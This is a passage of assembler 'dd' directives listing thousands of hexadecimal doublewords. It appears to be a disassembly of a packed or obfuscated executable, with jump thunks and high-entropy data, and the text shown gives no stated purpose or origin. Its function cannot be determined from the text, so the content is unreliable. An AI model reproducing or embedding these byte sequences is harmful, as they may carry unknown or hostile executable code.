8BD08BF8h, 0F28D8DC0h, 8B062DB5h dd 158D89D9h, 6A062807h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch dd 18042444h, 47000000h, 439AC357h, 0C7F53CE2h, 2821BD85h dd 6BCC06h, 0BBE28100h, 8A364180h, 3D85C7D1h, 62811h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4B68C356h, 958982AFh, 6282E81h, 0B5FFBDB0h dd 6281115h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 3BC35040h, 867B7B3Eh, 60AB5E97h, 61CA8B66h, 95FFC28Bh dd 62814D9h, 95FF006Ah, 6280465h, 79EBC08Bh, 1343C161h dd 80CB6C66h, 14EB8576h, 38B29D4Ch, 77DEAD7Bh, 82333372h dd 97EF7731h, 97B5D9C1h, 0DBCF5F87h, 875E5B1Fh, 74CF122Ch dd 6DF4731Eh, 25277018h, 84467F6Dh, 0A15F59EDh, 0D4E15D5Dh dd 0B56EAFE7h, 0C5458B06h, 0E4D8D781h, 1E78EE2Ah, 0BBC734EFh dd 669E139Bh, 0C6AEC941h, 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h dd 5EBB412h, 3929B19Dh, 5DF3674Fh, 470679A7h, 35E97Fh dd 24FC0000h, 2DD2h, 0Bh dup(0) dd 0E9000000h, 0B38h, 2DB80568h, 8E28E906h, 0DC68FFFBh dd 0E9062DB8h, 0FFFB8E1Eh, 2DBA7368h, 8E14E906h, 9968FFFBh dd 0E9062DBBh, 0FFFB8E0Ah, 2DBE3968h, 8E00E906h, 0A168FFFBh dd 0E9062DBFh, 0FFFB8DF6h, 2DC09268h, 8DECE906h, 0FD7AFFFBh dd 0D90C7ABh, 2EACE3C7h, 41C3FADEh, 5FDE15F9h, 35782D11h dd 977BC948h, 0B498DC60h, 0CEB2FC7Dh, 0E7CB1797h, 1D50A1EFh dd 5D7CFB53h, 0EF6FE98Ah, 0B73611A3h, 8563D169h, 0FA46C695h dd 0A0814C16h, 0D6E51C4Fh, 6EF85C7Ah, 7F5ADCh, 9D1BD4B2h dd 0E37CFEE4h, 9671E77Fh, 0C533CB15h, 791157DAh, 7D742D0Bh dd 477CFEE4h, 8EEA466Eh, 3FBCE82h, 20h, 3811DCA4h, 0F1D755A6h dd 3DA17CFEh, 0F00960A5h, 5A337CFEh, 6A82DE32h, 0CEF7FBCEh dd 98000000h, 11A3EF6Fh, 8B69B736h, 0FF4DCC9Bh, 9516F167h dd 6745B34Bh, 0C058A424h, 412571F1h, 0B5078863h, 0D6E50964h dd 830D717Ah, 0C92475EBh, 317AD6E5h, 0AC6543CDh, 7AD6E1A0h dd 0DABE0A8Ah, 0F27623A3h, 0BDA816AEh, 0CE66F03Eh, 36C8A16Ch dd 0FEE313E5h, 1D01657Ch, 0BF738853h, 0D4AA2DD4h, 97E87A04h dd 7AD46E0Eh, 7954E64Ah, 91C8ACFAh, 0A420C412h, 1508767Dh dd 940EA45h, 0ED6A0000h, 0FD80B79Bh, 1E9CD3B7h, 31B3EACEh dd 4FCE05E9h, 45681D01h, 876BB938h, 0A488CC50h, 0BEA2EC6Dh dd 0D7BB0787h, 2D4091DFh, 4D7CFB5Dh, 0F06FD97Ah, 787BEA2h dd 0F58DDB5Ah, 3B19FD87h, 0E50568B9h, 9757AD6h, 0D6E5B5B8h dd 0D761C57Ah, 411F6DECh, 3811DC6Ah, 0F1D755A6h, 3DA17CFEh dd 0F00960A5h, 5A337CFEh, 6A82DE32h, 9FF7FBCEh, 98000000h dd 74E812C8h, 1EF5EAE4h, 317DFD40h, 0FD4BCA99h, 762C2065h dd 7EFE7AD6h, 97174E32h, 8651B34Bh, 36CA1BADh, 4A7CFE7Bh dd 6D3802E6h, 0FE800294h, 7AC02B7Ch, 0D4387CFEh, 0FE7A7873h dd 3E1C807Ch, 0D4D82F85h, 53E5497Ah, 2C74F6D1h, 3E8C0B4Eh dd 0F5A4235Ah, 27952D71h, 0EBD5F99Dh, 28F80876h, 869CDh dd 0C4169300h, 0E026A9E0h, 0F747C5FCh, 125ADC13h, 2A78F72Eh dd 671C9146h, 7FB69AE8h, 9CD3B7FBh, 0B6EDD11Bh, 0E06EA36h dd 5D7C6FC0h, 0A97C7CFBh, 0A2F06F08h, 0BB0787BEh, 0EF6F0CD7h dd 0BC3C0BA3h, 0F7C28C70h, 31B18C1Eh, 1DF4DE5h, 3BBA9517h dd 27BF0D8Ch, 21972FB9h, 0D6E59DD0h, 0EF79DD7Ah, 480C1229h dd 79570323h, 0FE1B54C0h, 8204DF7Ch, 3675C3Ah, 0D01C9C6Bh dd 0E935B5ECh, 0B2FA7C57h, 55E6AC1Ah, 0FC4985D9h, 0ACF1E1BFh dd 0EF7A806Fh, 0E078C645h, 0AC449211h, 7CFD25DCh, 56325A0Fh dd 6FA68AD6h, 0C60BA3EFh, 0E37A8CA2h, 0E8D68D8h, 0E70FE2C0h dd 0B7FB7F5Ah, 691696D9h, 74BA3DE8h, 4CE46EDCh, 397054DEh dd 3B890CB9h, 7A8C83EAh, 993F7E3h, 9671E77Fh, 0C331C917h dd 733E2CE5h, 3CF31C85h, 68B43414h, 81CD4D84h, 13239EFh dd 73D20728h, 23BB0988h, 85E7D7B5h, 0FE4FE1BAh, 0E552E0AEh dd 0A48266CAh, 809AD122h, 7ADEE502h, 22FBC69Ch, 0A43D3F90h dd 0D73BE32Ah, 6CF6FA3Fh, 0F3CCDF2Ah, 0FB1975CBh, 7C8E5BF9h dd 2F000004h, 0CBBAFDh, 8449527h, 307CFEE8h, 770122CCh dd 98A03139h, 0B71AB8CDh, 88E61052h, 0EE46A5F6h, 4EB29821h dd 0BFE132C4h, 0C19E09E7h, 9863C55Dh, 5AAB2DBFh, 93C9F113h dd 3B250367h, 0E1CA3CEAh, 78C94B95h, 9591B575h, 62B0E585h dd 0BC60CC2Ah, 0FB5F5432h, 0C20E8E69h, 0DB27A7DEh, 6AACA137h dd 157040EBh, 6D2h, 492D7FFCh, 65498F12h, 7C60B02Eh, 977BC345h dd 0AF93E160h, 4FCEB3FAh, 62E61D01h, 82033A1Eh, 9D1D5438h dd 27756D51h, 0FB5F97D6h, 6F10E37Ch, 0F6F546C8h, 27AD6E5h dd 0FD7DC09Eh, 0CC4A19B1h, 0FD5987Ch, 1D000001h, 8E79BF42h dd 0BA28C010h, 15DC05DCh, 1E0951D3h, 3ACC569Ah, 0B997DB5Fh dd 0ECC097BAh, 0B10D638Bh, 2601F683h, 7Ch, 1056D9B4h, 15DC5B32h dd 0E9ECA234h, 0F15305F1h, 1157DAC5h, 0F0F84933h, 87AD677h dd 0BD3D0CA4h, 0B9439110h, 0D21E9ED5h, 340DD83Ah, 0C14520A2h dd 9316E57Dh, 0BD47B54Dh, 71094FD2h, 346C2503h, 577CFE7Eh dd 7E6984D5h, 2D917CFEh, 15955A4Fh, 39C331C9h, 0E109E2A1h dd 0CDF3338Fh, 0F2FAB0FBh, 0EED0EA2Bh, 11786A48h, 19000000h dd 102E3h, 0CD502B00h, 9681EF87h, 19F0CE12h, 0F6F546C8h dd 0B47AD6E5h, 0E452EA32h, 2F05E347h, 3B328364h, 3F7AD6E5h dd 3DBF51DBh, 0B837E062h, 0DA64D26Ah, 3DF6D442h, 7CFEC49Bh dd 4D95399Dh, 0A8024BCDh, 5AC7DD8h, 59D60000h, 69EC2307h dd 8A083F23h, 9D1F563Ah, 0BB3A7155h, 0D9D4896Dh, 0F3D725A4h dd 10F438BCh, 2A0E58D9h, 432773F3h, 41ACFD4Bh, 0B97CFB5Eh dd 15DC45E6h, 0BE6A8D34h, 0AB052D8Eh, 1F67F4Fh, 50C4h dd 46C86500h, 0D6E5F6F5h, 0EA32B47Ah, 350BE94Dh, 20FB8D6Eh dd 2771F2A1h, 9DC0BF9Dh, 3A62C389h, 0F67F8AE6h, 27FF01h dd 0C8A00000h, 5E246AEDh, 9DFB5847h, 0D7AD8B7Fh, 65882F10h dd 2951B2DAh, 0D63991D9h, 3A93F67Ah, 0AD01F5A8h, 0FFFFFE9Ah dd 0D315DC4Eh, 16F0753h, 880AE577h, 0B636240h, 0CF67AD30h dd 9C348000h, 11C6A42Eh, 0D5FD5E2Eh, 0F6801F7Bh, 2319401h dd 6F350000h, 940AA2F0h, 57EF37B9h, 46C80BE9h, 1E8E2EC2h dd 90104D85h, 9830BA44h, 65FD49C9h, 34CC1496h, 0B13860B1h dd 81678F44h, 99D0B402h, 0A534901Ah, 0E7C8B3A8h, 9863C55Dh dd 94DC2DBFh, 0EC7CFE89h, 1C6DF088h, 479514F4h, 5FAD2C63h dd 766F82C7h, 3C957CFEh, 67B53414h, 0EB0253D5h, 0F7CFE76h dd 0F63EC0ABh, 0D612F05Eh, 3AD2209Fh, 54D30DD8h, 76BEADFEh dd 56BA7CFEh, 5FB042CCh, 7AD65CD5h, 9445C39Eh, 0C634CC10h dd 5836A43Ch, 8D53C363h, 0B10D4709h, 63FB45C6h, 0BD876BF5h dd 58719F2h, 8631B9B4h, 5921C176h, 4D4C93F7h, 6C5634BEh dd 0AE36911Bh, 9717F270h, 74397A0Fh, 0FC86A992h, 2318F664h dd 8BE227BFh, 0F168AF21h, 2AF57098h, 3E6EBF51h, 3A6E8715h dd 3BBBF2D6h, 88857EFh, 0CC4F2ABCh, 0A280EE86h, 0B5068866h dd 62771DB6h, 0AA805EC2h, 0BE7406DFh, 84D57EA9h, 62773069h dd 0F6672D91h, 41922471h, 62777F2Ah, 220CEA4Eh, 5F7ED7D1h dd 0D122A464h, 641F799Ah, 2DC50F90h, 2CBE22BFh, 1F7990DBh dd 0A684E864h, 70B54DB1h, 641F7979h, 0EE426A43h, 0E32CE792h dd 2E07h, 11DCA800h, 0D755A638h, 0A17CFEF1h, 960A53Dh dd 337CFEF0h, 62E66843h, 0D7052755h, 1FB741E4h, 0D800D3B1h dd 0CE7A1C78h, 0B891FBh, 6F320000h, 3C0BA3EFh, 27DD6FBDh dd 5C00164Eh, 0FEEECC39h, 0CB63AF2Fh, 67F47CFCh, 0C4595780h dd 34E1C54Fh, 7AD648D8h, 62469212h, 62F4CD98h, 0FCE91511h dd 2AE0627Ch, 0E2BEE78Eh, 36359619h, 427CFD57h, 2A70F3DEh dd 61F3574Ch, 3C8004DFh, 96D536A4h, 0E27CFD57h, 57C62576h dd 0CE327CFDh, 0A17C6644h, 0B9F0D422h, 0A448EC3Ah, 65024F5Dh dd 30C3A95h, 0B9360000h, 0C94C8367h, 0EA689F83h, 0FD7FB69Ah dd 1B9AD1B5h, 7934E9CDh, 53378504h, 7054981Ch, 8A6EB839h dd 0A387D353h, 0E10C5DABh, 197CFB5Bh, 0F06FA546h, 9614C141h dd 4E32BC46h, 0B94B9717h, 33115FDEh, 0EF6F2CF7h, 0BC3C0BA3h dd 6FC18C70h, 3611A3EFh, 65D36BB5h, 48C89787h, 834E18FCh dd 0E9C718AAh, 8F7CFEE4h, 1B4E932Bh, 217CFEE7h dd 64C02048h, 0D9FBCE81h, 62h, 3811DC7Ah, 0F1D755A6h, 0D1AC7CFEh dd 0D424A253h, 6644B24Ah, 0B9B40571h, 0C17CFEF0h, 0F63BD35Dh dd 7CFEF0F3h, 17B238B9h, 0EA915354h, 16E57D07h, 0E4B34B95h dd 107E1666h, 88012968h, 0EA3BBDADh, 7CFED583h, 483057F7h dd 0DD68A926h, 7AA27553h, 519B1CF7h, 0B26D4BB9h, 0FBCDB556h dd 0E2CBh, 0EF6F6C00h, 0BD3C0BA3h, 0DF61D76Fh, 0D6E55F8Eh dd 59379B7Ah, 0B24A9616h, 331763E3h, 0D6E18686h, 98E4647Ah dd 0B1028406h, 7AD6E0BAh, 0F2F95ABEh, 67AD6E0h, 0E022499Ah dd 0F2567AD6h, 174E8A68h, 51B34B97h, 0CA1BAD86h, 7CFECEF2h dd 0F343C186h, 0F0BB8569h, 67B5340Fh, 0FED1E706h, 9ECD1E7Ch dd 0DA7CFED1h, 0EB75D976h, 74240859h, 8F547AD4h, 0A638C210h dd 1AFE4CCBh, 95E1613Ch, 6EB18FFDh, 0F9FDA1EFh, 24087684h dd 1A4F954h, 51CE0000h, 61E41BFFh, 8200371Bh, 95174E32h dd 0B332694Dh, 0E1CC8165h, 0EBCF1D9Ch, 8EC30B4h, 220650D1h dd 3B1F6BEBh, 49A4F543h, 0B17CFB5Ah, 0F06F3DDEh, 0B53510A2h dd 0B13B8908h, 91CDAB19h, 0FC8EDA5Ah, 0E5C2297Ah, 0F0417AD6h dd 7AD6E5FDh, 98FC99FDh, 0DCB37EBAh, 55A63811h, 7CFEF1D7h dd 60A53DA1h, 7CFEF009h, 0DE325A33h, 0FBCE6A82h, 0C5F7h dd 28AA8500h, 0C0DF1AE0h, 870E910Bh, 0EDC8D2A9h, 0FE411F6Fh dd 0CB9A327Eh, 2166FE4Ch, 7AD6E12Bh, 4F337FFFh, 0B44C9818h dd 0CE4D8752h, 2172E880h, 7AD6E0CAh, 0B640CA2Eh, 0CEC9D324h dd 2B8F7CFEh, 9874E399h, 960F626Ah, 48E02AABh, 0F6C0FCDAh dd 6FC0522Bh, 7AD4321Eh, 4924B61Ah, 7AE880C6h, 58D7B29Ch dd 0A5F6780Ah, 7685F246h, 34704EB2h, 8C307EFDh, 876C274h dd 0B392EDBDh, 0DD000000h, 0F32A0E60h, 0F462A70h, 265D4191h dd 41785CA4h, 0DB9074C2h, 0E02EADD2h, 0FD41C5FCh, 1761E219h dd 307CFC33h, 0B506544Ch, 7CFB25B6h, 0C84EEFC2h, 6C2E5912h dd 9D0BA3E9h, 0B84EC2D7h, 0CA1897DAh, 0E32FAFE6h, 0EF6F34FFh dd 0EE78C042h, 0BB078756h, 9E1EF9D7h, 0FCB4C016h, 28B25146h dd 0D0A9744Ah, 97E3633Eh, 0C9B391FFh, 0FBBF0478h, 18B0147Ch dd 997DC949h, 0FE96E262h, 7A106B9h, 6D954A57h, 2DBF0B8Bh dd 2A0C9D77h, 4C995FA9h, 0C1757EF8h, 8C65A265h, 0B1E82402h dd 7E4DE531h, 991CB4FCh, 0B8382048h, 0D151886Ch, 392ED85h dd 0ED000000h, 0F26FB56Ch, 0B93908A0h, 8506D56Dh, 50D4A33Bh dd 26A5740Ch, 0F27140D8h, 0BB3D0CA4h, 8E0CDB73h, 54D7A63Eh dd 53ED760Eh, 0C381E389h, 4, 4B850h, 0C3290000h, 241C8758h dd 1A14685Ch, 3C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 51240489h, 0AD1F9BB9h, 0B5BE5611h, 81098470h, 7436A0F6h dd 5EF1312Eh, 0EF7BF181h, 0CF893070h, 48B5459h, 4C48324h dd 4EC81h, 3C890000h, 8408F24h, 582434FFh, 0FF04C483h dd 815F2434h, 4C4h, 8300E900h, 0B83FFFBh, 0B30DF4D3h, 2DC16AB8h dd 0FFC50306h, 827318E0h, 1402830Ah, 0D312F06Ch, 5A3AA18h dd 8846B17Fh, 2374D816h, 602FEE5Ah, 0E13D7E60h, 4B5BA813h dd 1D2E35Eh, 87E8EA79h, 828E3918h, 0E88ECA74h, 0ACF4A34Eh dd 7E753719h, 28463839h, 48678663h, 2F0D0625h, 0CE0D8612h dd 723F3476h, 0A8792C35h, 1A744910h, 1F66122Ah, 9E851h dd 80CA0000h, 95D3DA3Fh, 5A35CD9Ch, 6DB8C281h, 0A7B70000h dd 0F8F51AB9h, 0DBE98105h, 0FC05F8D9h, 0E96032FFh, 11h dd 121F9CFFh, 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 0D38166FEh dd 5F616D5Dh, 0FCD5F781h, 0F536E9Bh, 283h, 58DA8B00h, 0DC44EF81h dd 81F86F19h, 0B51693C7h, 0DA8B6678h, 0C68B3A89h, 86DAEA81h dd 0DF8B1017h, 86D6C281h, 0F511017h, 8358C2B7h, 850F01E9h dd 27h, 14E8h, 557E6500h, 0F1518871h, 0CC99D13Eh, 0BE3F0482h dd 22BD6166h, 0D98B66F0h, 20E958h, 37840000h, 60973563h dd 0E961E68Ah, 0FFFFFF70h, 518213DFh, 0F64D264Bh, 0D682B6FEh dd 1ED6DEEAh, 37E9373Dh, 5E000000h, 41EE92h, 57000000h dd 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h dd 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h, 2 dup(0) dd 0B5E90000h, 6800000Ah, 62DC477h, 0FABC80E9h, 0C5BF68FFh dd 76E9062Dh, 68FFFABCh, 62DC6AEh, 0FABC6CE9h, 0C77768FFh dd 62E9062Dh, 68FFFABCh, 62DC813h, 0FABC58E9h, 0C92168FFh dd 4EE9062Dh, 68FFFABCh, 62DC9A0h, 0FABC44E9h, 0CB2468FFh dd 3AE9062Dh, 68FFFABCh, 62DCC6Ah, 0FABC30E9h, 6D6334FFh dd 201EECF0h, 0D1D39FA3h, 887E5054h, 3C3A070Bh, 1FEEBCBFh dd 0D3D75452h, 898D0A04h, 3B3FBCBEh, 0CEF4716Bh, 5000D83Eh dd 6134795Eh, 421F4ECh, 0D0353298h, 95577521h, 0D8A3C929h dd 9C6C42D6h, 341236A2h, 24E26E40h, 898DAE42h, 0FA9ABFB9h dd 2C92FE27h, 730C8616h, 1214E06Eh, 339F05EDh, 0AF433D0Dh dd 4B193F9Fh, 8A3BE147h, 7B3D7328h, 7408F015h, 3C08CE9Eh dd 0FD2D153Ah, 0F7BCA78Ch, 773D944h, 7F1315E1h, 908A5A5Eh dd 3133FE24h, 8EB95FC5h, 0F9BB7328h, 29FC9C65h, 4F747240h dd 35950167h, 288E09CFh, 0FD692B73h, 288E4197h, 9D31F373h dd 0AE80278Dh, 30F27900h, 0DF6B09C2h, 631AF5AAh, 8E0h dd 25A29869h, 0D8555321h, 890608D4h, 40BDB385h, 0F4716F3Ch dd 8754A5F1h, 39080C89h, 0F3BEC23Fh, 0A07074F1h, 730329A6h dd 5E57CF0Dh, 21966979h, 0F11610E0h, 7736D3Dh, 939B41A7h dd 0DB9D7F73h, 93D3096Fh, 0A3657F73h, 2BFEEE0Fh, 2D389E0Ah dd 4F755B92h, 0FD218Dh, 80D03887h, 0FA3D1ADEh, 1D6ABCAh dd 90B6A46Dh, 182EC2C4h, 795B07C4h, 43C079BFh, 0C159BF36h dd 3180h, 80A6AD00h, 6022B6B0h, 96FC688Dh, 755BBE07h, 564A6F31h dd 795B8682h, 4C716F3Ch, 0A9CEC898h, 0D18B44E2h, 0E4611A60h dd 0C1594495h, 0E121h, 10E04E00h, 0A63DA4Ch, 0F60F3F3Dh dd 9E0A70B6h, 92BEE07Ah, 9A2E804Eh, 52501DD1h, 0F4F2C0E6h dd 8A53E7CFh, 0E70C06D6h, 429F6333h, 15187AF4h, 0FC228EF4h dd 250D322Ch, 0BFFEA9F5h, 41D5D9F1h, 0EABCE220h, 0BFB7132Ah dd 0E74CD12h, 17AD647Ah, 7D4D7F73h, 32020683h, 0A0731338h dd 86ECEAB7h, 0C11B41Ah, 0A9CF755Bh, 0F04CE0DAh, 0EEC1B12Eh dd 9FF359C5h, 0F57375B0h, 0D4A1C733h, 0A40A6AD6h, 7320D074h dd 89AA3E00h, 1EEEB885h, 0B117FF24h, 0F15E043h, 0DA916CB4h dd 798h, 0DD5A5021h, 900D0BD9h, 41BEC08Ch, 0F8756B3Dh dd 0AC2927F4h, 3F0CFDA9h, 0F1C0C441h, 0AB767AF7h, 58282CA9h dd 2BBBE15Eh, 5E5617C5h, 0D94E2179h, 981513E0h, 4494FA5Ah dd 767F7393h, 31F3ABA9h, 0FDF7C79Dh, 21F41780h, 0AB329804h dd 0CD755BBEh, 0AC799F0Bh, 5D511AAEh, 795B86BBh, 8805BE04h dd 0C15943F1h, 0C6C5h, 10E0F200h, 703DF116h, 15E00672h dd 7206EE13h, 8F7EB5A9h, 0CE9E7F73h, 835357D4h, 16766489h dd 739768B0h, 0B64A0C7Fh, 693821F4h, 0FC624A6Fh, 94872A90h dd 2145755Bh, 40171B69h, 46A236E0h, 1FC0187Eh, 0B274795Bh dd 6B91CF4Ch, 927A9F9Dh, 4C693CFEh, 0BA2080E0h, 795B1F62h dd 0AAC05416h, 7375BDBBh, 698FFBBDh, 0EA32989Ch, 147320BDh dd 3B234846h, 0DE5BC183h, 0A10F0DDAh, 0B40F7834h, 0A92EE5C0h dd 32000006h, 0EAEE6B61h, 9DA11E1Ch, 4E52CFD1h, 509867Ch dd 0BABD3A38h, 52501DECh, 802D1D5h, 0BABC878Bh, 6F69393Dh dd 0D63CCCF2h, 795E5506h, 0E0EA5F32h, 94981513h, 293F00C4h dd 0FDB7F94Fh, 0E0B11A97h, 72AA1010h, 67F7393h, 5B9DE44h dd 7ABE3B35h, 7F7393A6h, 1884A174h, 0F8C692B8h, 0A3C82E28h dd 1E1127BBh, 407521D0h, 8CB2127Eh, 0EC52BEC0h, 795E572Ch dd 1CF28648h, 36E64C4Ch, 42795E57h, 8AAE1A80h, 14CEFF94h dd 0DBFC909Fh, 1863799Dh, 0B212D01Dh, 7E78481Eh, 0F3E6B959h dd 0E9B8B7AAh, 0B2E2CAEFh, 0EE547258h, 0C68E5C82h, 40AC7E1Eh dd 26BA209Eh, 78A9B016h, 9CB7376h, 0A5D0C9Bh, 1ED5B0B4h dd 5E0h, 25A29869h, 0D8555321h, 890608D4h, 40BDB385h, 0F4716F3Ch dd 8754A5F1h, 39080C89h, 0F3BEC23Fh, 0A07074F1h, 730329A6h dd 5E54CF0Dh, 21966979h, 974C10E0h, 0BAB94F79h, 413B0B3Dh dd 68C8B6DBh, 7341DA02h, 1C12E47Fh, 380EA264h, 82496E68h dd 0D5A52BE4h, 16635EDBh, 0A0BB3201h, 7, 184DDCDh, 0A0E40000h dd 7F73937Ch, 329EC79Ah, 21D0EECCh, 0D8440675h, 6BE8E2B2h dd 789D9767h, 74E005D8h, 0EF83814Eh, 476279DFh, 0D2947376h dd 984FF64h, 0DD946FB4h, 544h, 8906FCCDh, 3CB9B785h, 0ED6A6C38h dd 0A42117E9h, 58D5D3A0h, 0EBB80955h, 9D6C70EDh, 572226A3h dd 4D4D855h, 0D7678D0Ah, 5E5BAB71h, 85FACD79h, 0F11610E0h dd 4E736D3Dh, 0AA30E987h, 1474E0DAh, 73936EAEh, 0C6C0907Fh dd 97B84C0Eh, 312FDD9Ch, 0EF55B5BBh, 7F739F29h, 500802D1h dd 1A0EFA8Eh, 3B000000h, 0E9B380A6h, 10F81D1Bh, 0DB3D16AAh dd 6F000000h, 0A9AA7B4Bh, 5EF28478h, 421F423h, 0D0353298h dd 95577521h, 39330329h, 0C37FA9CDh, 0F0807A11h, 67373B5Ch dd 3E0DCFA1h, 0D1371F44h, 8058BEACh, 0B4795E6Fh, 8D5A8CF2h dd 6404298Fh, 6C49AA91h, 462AB859h, 0E6187E74h, 4CB81E14h dd 0C88CCE6h, 70507473h, 23AE7E1Fh, 0A6A874A6h, 88F4B612h dd 1B989262h, 0E14D4717h, 83C15D81h, 0F15C1577h, 288B597Fh dd 8519DB73h, 0D9A8CEBCh, 0A0D2BADFh, 7C3ED2D4h, 0BA208CA9h dd 7900AB13h, 0DA55C385h, 56AADF61h, 436C47Bh, 0EEBF0000h dd 0A9777BF8h, 5E2A2EABh, 9DBDF5Ch, 0C5929613h, 1B474AC7h dd 62DFDDAAh, 18958F5Eh, 0CA474914h, 7FFCF6C6h, 0B563C959h dd 0BF795E5Ah, 0C3DD77ECh, 0F000000h, 939349AFh, 0E3A57F73h dd 21F4144Fh, 35329804h, 577521D0h, 33032995h, 0E8B8BC39h dd 5629C9EEh, 475BC12Dh, 9D730C14h, 79496FDBh, 2EFE027Fh dd 9C6F0F34h, 6A50B77h, 70790034h, 0F0CF40AEh, 5C37AADFh dd 3B7A5h, 796F4000h, 2C2AF8FCh, 0DDDFABAFh, 948A5C60h dd 48461317h, 2B9AC8CBh, 0DFE3605Eh, 95991610h, 474BC8CAh dd 0DA007D77h, 5A34E44Ah, 6D40795Eh, 1610E0F8h, 736D3DF1h dd 30E9874Eh, 4214DAAAh, 6E69E64Ch, 0BB312F0Bh, 2DABh dd 21F4D800h, 5D749804h, 6A6B098Fh, 0E54B5BEFh, 755B669Dh dd 83A915D7h, 0F438B5B7h, 795BE221h, 920F09D9h, 9BC0C28Eh dd 33FE4h, 15E0EB00h, 177D7747h, 0A86E3EF2h, 0FD7AE0D6h dd 0B06529F9h, 5559681Dh, 0A6B563C9h, 0FDBF7F73h, 99976597h dd 0C0200E33h, 73A6825Ah, 60F4B67Fh, 9DF6BA8Ah, 7AFCD0Fh dd 6050CD33h, 96FC688Dh, 755BF78Bh, 0D2C6EBADh, 795BF50Eh dd 0BA7A3379h, 0A2C7C994h, 205926BAh, 96C15991h, 31h, 421F4C3h dd 72D83898h, 7F7393AAh, 75DC0CCEh, 0DEA6816Ah, 63FA10A4h dd 95755B28h, 66BAAED3h, 61795B39h, 94E5621Bh, 22C159D9h dd 0CEh, 82A64Fh, 0C3A792FCh, 4B1BF185h, 0AB782C51h, 4D488ADh dd 6131E50Ah, 6FA6EA67h, 8F7F732Eh, 4448C5BFh, 67557A74h dd 0E2767441h, 0BC284D20h, 5B003756h, 4FD56175h, 6F72E96Dh dd 0AACFD19Ch, 79F65CC2h, 6187B689h, 8B739892h, 5B6EC319h dd 0BD5BC179h, 0B7795B6Eh, 0DDAF3DF5h, 74DAC2E7h, 0DD3CA20Eh dd 0D77375D0h, 0B683A915h, 6A373BB8h, 0F507FE6Ch, 10EBB40Fh dd 23359h, 0F5EBBC00h, 0A8A67478h, 595B272Bh, 1006D8DCh dd 0C4C28F93h, 0A7164447h, 5B5FDCDAh, 1115928Ch, 0C3C74446h dd 567CF9F3h dd 58B860C6h, 0E9BC795Eh, 1513E074h, 0FEC49498h, 32003230h dd 0C1270F34h, 0DA253155h, 4A7EBABBh, 0D751F5C1h, 0D96DD3DDh dd 21F44FB8h, 0AB329804h, 0CD755BBEh, 2EF2E60Bh, 99795B86h dd 5C1D9A53h, 36C15944h, 0B2A870D6h, 0ACC795Bh, 10F8A76h dd 0E0B70000h, 3DF11610h, 0C4BA870h, 0C8034683h, 0D5AFA998h dd 0DC423AC0h, 0D6A3C9B7h, 37CBB3D8h, 73D7E221h, 403A0A7Fh dd 0BF2585C3h, 7F73CF19h, 3E29591Bh, 9C87526Fh, 2BFBD165h dd 3CE9865h, 8EF4DC01h, 5B1CBC22h, 56187F73h, 0B7DDCBF0h dd 9355E9EBh, 92FED9C0h, 6B2F1132h, 0A3739905h, 0A50515A9h dd 49133781h, 59ED1AEDh, 5BD22443h, 0ED769A75h, 0AEB07B6Bh dd 0F1D797Eh, 0AFDF453Fh, 1CDD30CFh, 662F6CDh, 0E4B4D844h dd 0A7EA120Ah, 9D8DAE42h, 0D73DA9CAh, 7375E4A3h, 0C8FF91Dh dd 4CC64EA1h, 2E9A5CB8h, 0DDDBA8CEh, 4ADEE0ABh, 2CA9A774h dd 0FEF8C8EEh, 6B80BFCEh, 39CDE651h, 2A989663h, 0B40FCAC1h dd 0ED7B320Dh, 76000000h, 2E32AFA5h, 0E1E56260h, 92961315h dd 494DCAC0h, 0FE017E7Ch, 96946150h, 4C461519h, 0FE00CBCFh dd 0B3AD7D81h, 1A801036h, 795E5FC2h, 0E02EA376h, 94981513h dd 3A5ECAC4h, 469EE064h, 89AA3E03h, 0B480A620h, 11A58DB2h dd 0D8A56B3Bh, 20453F0Eh, 47A2D238h, 55D17BA2h, 0B4A2C72Dh dd 16BA8890h, 4CF885C2h, 0EF7CACC9h, 531F514Bh, 17E7BD51h dd 0EB51B11Dh, 7F73C22Dh, 0D0F18547h, 7CE80DE0h, 21813416h dd 799E6075h, 469F678Bh, 96731CADh, 5C5C2C02h, 496E6436h dd 0B929EF61h, 0BD4B795Dh, 248AF0F2h, 0D9D3A3A7h, 5DFEC0B4h dd 0E65EB298h, 0DDD7A72Dh, 46FE2260h, 44B8F4C4h, 0FECEA438h dd 0CBF1DF04h, 9369FDFFh, 0DAA6CBC1h, 37078D46h, 0ECBCC03Dh dd 0B9DFCDF2h, 7F58ECEEh, 0Ch, 0AE82A686h, 6D1EE421h, 0F23F6E02h dd 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h, 658A8855h dd 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h, 0E28952FFh dd 4C281h, 0EA810000h, 4, 5C241487h, 56241489h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 1568240Ch, 89000007h, 0AC682404h dd 8B062DC3h, 0C481240Ch, 4, 24048B54h, 6804C483h, 468Fh dd 81240C89h, 34632434h, 408F3B97h, 8708108h, 3B973463h dd 582434FFh, 4C481h, 0C8B0000h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 0FAB1DCE9h, 145695FFh, 104B1BC9h, 2DCD7CB8h dd 0FFC50306h, 0B0F81FE0h, 396A055h, 8302956h, 8D4E5A7Bh dd 20E9EE3Bh, 152B6809h, 0D9A9D86Bh, 0FCAE6F56h, 0B777511Ch dd 0F4028E4Bh, 0F8715207h, 6FE1173h, 439E5203h, 0CF658A1Fh dd 0E0801776h, 0A2BBA535h, 0B9070F25h, 4E7D7B29h, 0B830FA47h dd 834CAB45h, 64F0AA70h, 0D90DFA3Bh, 8EC32406h, 829FBA11h dd 0AA1865Bh, 0F77B7074h, 0F10C8510h, 30E95Fh, 59460000h dd 79CBh, 0Ah dup(0) dd 6CE90000h, 2A000005h, 0E2E66359h, 95991614h, 464AC7C9h dd 0FD017E74h, 0B2B53230h, 4A4815E4h, 0FAC9CDh, 0B2B47F83h dd 67613135h, 0CE34C4EAh, 795E5D0Eh, 0E90D572Ah, 288006D0h dd 518C2032h, 0F11610E0h, 